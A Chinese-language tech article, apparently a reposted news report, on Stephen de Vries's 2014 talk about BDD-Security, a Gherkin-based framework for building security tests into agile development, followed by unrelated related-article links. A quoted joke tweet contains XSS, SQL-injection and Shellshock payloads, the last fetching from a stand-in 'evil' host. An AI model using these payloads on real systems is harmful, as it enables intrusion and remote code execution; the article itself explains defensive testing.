ContinuumSecurity创始人Stephen de Vries,在Velocity Europe 2014大会上提出了持续且可视化的安全测试的观点。Stephen表示,那些在敏捷开发过程中用于将QA嵌入整个开发流程的方法和工具都能同样的用于安全测试。BDD-Security是一个基于JBehave,且遵循Given-When-Then方法的安全测试框架。
  传统的安全测试都遵循瀑布流程,也就是说安全团队总是在开发阶段的末期才参与进来,并且通常需要外部专家的帮助。在整个开发流程中,渗透测试总是被安排到很晚才做,使得为应用做安全防范的任务尤其困难且复杂。Stephen认为安全测试完全可以变得像QA一样:每个人都对安全问题负责;安全问题可以在更接近代码的层面考虑;安全测试完全可以嵌入一个持续集成的开发过程中。
  为了论证QA和安全测试只有量的区别而没有质的区别,Stephen展示了C. Maartmann-Moe和Bill Sempf分别发布的推特:
  从QA的角度:
  QA工程师走进一家酒吧,点了一杯啤酒;点了0杯啤酒;点了999999999杯啤酒;点了一只蜥蜴;点了-1杯啤酒;点了一个sfdeljknesv。
  从安全的角度:
  渗透测试工程师走进一家酒吧,点了一杯啤酒;点了”>杯啤酒;点了’or 1=1-杯啤酒;点了() { :; }; wget -O /beers http://evil; /杯啤酒。  要将安全测试集成进敏捷开发流程中,首先需要满足的条件是:可见性,以便采取及时应对措施并修补;可测试性,以便于自动化,比仅仅简单的扫描更有价值。Stephen发现BDD工具族就同时满足了可见性及可测试性,因此他开始着手构建BDD-Security安全测试框架。
  由于BDD-Security是基于JBehave构建的,因此它使用BDD的标准说明语言Gherkin。一个BDD-Security测试场景如下:
  Scenario: Transmit authentication credentials over HTTPS
  Meta: @id auth_https
  Given the browser is configured to use an intercepting proxy
  And the proxy logs are cleared
  And the default user logs in with credentials from: users.table
  And the HTTP request-response containing the default credentials is inspected
  Then the protocol should be HTTPS
  BDD-Security用户故事的编写与通常做法不太一样。BDD-Security说明页面上写着:
  本框架的架构设计使得安全用例故事与应用的特定导航逻辑相互独立,这意味着同一个用户故事仅需要做微小的改动就能用在多个应用中,有时甚至无需修改。
  这也说明BDD-Security框架认为对许多应用来说,有一系列安全需求都是普遍要满足的。也就是说你只需写代码把已有的故事插入你的应用——也就是导航逻辑中即可。当然,必要的时候你也完全可以编写自己的用户故事。
  BDD-Security依赖于第三方安全测试工具来执行具体的安全相关的行为,例如应用扫描。这些工具有OWASP ZAP或Nessus等。
  Stephen还提到其它一些有类似功能的工具。如Zap-WebDriver就是一款更简单的工具,不喜欢BDD方式的人可以考虑采用它。Gauntlt与BDD-Security框架类似,同样支持BDD,只是它使用的编程语言是Ruby。Mittn用Python编写并且同样也使用Gherkin。

最新内容请见作者的GitHub页:http://qaseven.github.io/

在开发流程中嵌入安全测试相关推荐

  1. 敏捷开发流程中的质量控制:Feature Flag

    现在都提倡敏捷开发,基本上已经成了现代软件开发的尤其是移动互联网app开发的标准模式.快速迭代.快速试错成了每个人开口闭口都在谈的东西,但是问题是,如何在快速迭代中保证产品质量,如何在快速试错的同时尽 ...

  2. 前端开发流程中一定要注意的5个点

    1. 拒绝PRD和设计稿没有封板就要求排期,和产品设计充分沟通. 前端开发经常会遇到这样的情况,项目经理莫名奇妙发了个会议邀请,然后一股脑把产品下阶段的需求讲完,开发听得云里雾里,心里吐槽一堆细节产品 ...

  3. 开发经验漫谈 -- Git在开发流程中的运用

    女主宣言 这几期和大家分享下我自己在开发时的一些经验,这次来说说关于Git在开发流程中的运用. PS:丰富的一线技术.多元化的表现形式,尽在"HULK一线技术杂谈",点关注哦! 目 ...

  4. Kubernetes 开发流程中的三个关键步骤

    作者 | Daniel Thiry 译者 | 弯月,责编 | 杨碧玉 头图 | CSDN 下载自视觉中国 出品 | CSDN(ID:CSDNnews) 以下为译文: 建立有效的Kubernetes开发 ...

  5. 开发流程中的问题总结和建议

    一.现场需求调研人员对研发的开场白: 1.这个需求很紧急,麻烦抓紧安排. 2.局方领导检查,这个功能需要演示. 3.这个功能很简单,一天就做完了. 4.功能是项目验收用的. 5.这个功能需要再增加(修 ...

  6. 软件测试中最复杂的业务_复杂软件开发项目中的有效测试

    软件测试中最复杂的业务 手动还是自动测试? 该软件总是由人创建,经过人测试并且在大多数情况下是由人使用的. 任何负责任的测试人员最糟糕的梦想是错过一个严重的错误. 测试人员尝试仔细检查需求并编写测试用 ...

  7. 通用汽车公司选择Qt在其“软件定义汽车”的整车开发流程中发挥突出作用

    Qt技术助力大规模重构沉浸式车载体验并缩短车型上市周期 芬兰埃斯波,2023年2月28日-- Qt Group(Nasdaq Helsinki: QTCOM)宣布与通用汽车(NYSE: GM)签订供应 ...

  8. 离职后才搞懂vue项目开发流程中的疑惑点

    在离职的最后一个月,帮两位同事申请加薪,确切的说,申请加薪是导火索,我被扣上了哄抬同事工资以提高自己工资的帽子,在推动前后端分离工作中处处碰壁,点燃了压抑许久的离职冲动,领导培养自己四五年,不让声张, ...

  9. 软件开发流程中各版本名称(alpha/bera/RC/Release)

    RC=Release Candidate,含义 是"发布候选版",它不是最终的版本,而是最终版(RTM=Release To Manufacture)之前的最后一个版本.广义上对测 ...

最新文章

  1. 复数乘法_leetcode No.537 复数乘法
  2. Android之二维码生成与扫描
  3. 高德h5地图api接口_html5通过腾讯地图、高德地图、百度地图开发api接口获取坐标对应的周边信息...
  4. Redpine的Lite-Fi解决方案获Wi-Fi CERTIFIED认证
  5. Python学习三——列表
  6. Matlab多个Figure图合成一个Fig
  7. python小程序源代码_【程序源代码】Spring Boot 考试小程序
  8. 在服务端合并和压缩JavaScript和CSS文件[转]
  9. 独立成分分析(Indenpendent Components Analysis)斯坦福公开课讲义
  10. android 取消选中状态,Android:显示/隐藏偏好检查/取消选中其他CheckBoxPreference
  11. Mark,road-stone 2012-7-7
  12. 高德vue-amap使用(一)标记点位获取地址及经纬度
  13. java正则表达式匹配任意中文_java匹配中文的正则表达式
  14. class java.util.LinkedHashMap cannot be cast to xxxx.xxx.xxxx
  15. 用SETFOS模拟Tadf OLED和超荧光OLED
  16. Tcp连接时三次握手的问题和思考
  17. spring源码分析系列(一)
  18. 聊一聊期货反向跟单百科知识
  19. 【Apache】You don't have permission to access / on this server.问题解决
  20. H3CSE路由-路由过滤

热门文章

  1. 2019年上半年收集到的人工智能Python编程干货文章
  2. 人工智能浪潮下的语音交互——VUI设计(基础篇)
  3. CIO职能向流程演进
  4. SAP MM 物料主数据里某字段看不到就是屏幕格式设置导致的?
  5. 所有的科学知识都是不确定的
  6. 人脑启发AI设计:让神经网络统一翻译语音和文本
  7. 模仿大脑:下一代计算机
  8. 物理理论发展放缓?这是一种认知误判
  9. 里程碑 | 原来大脑有两套GPS!陆军军医大学张生家团队发现海马外全新空间导航系统...
  10. 剑桥大学2020《AI全景报告》出炉,177页ppt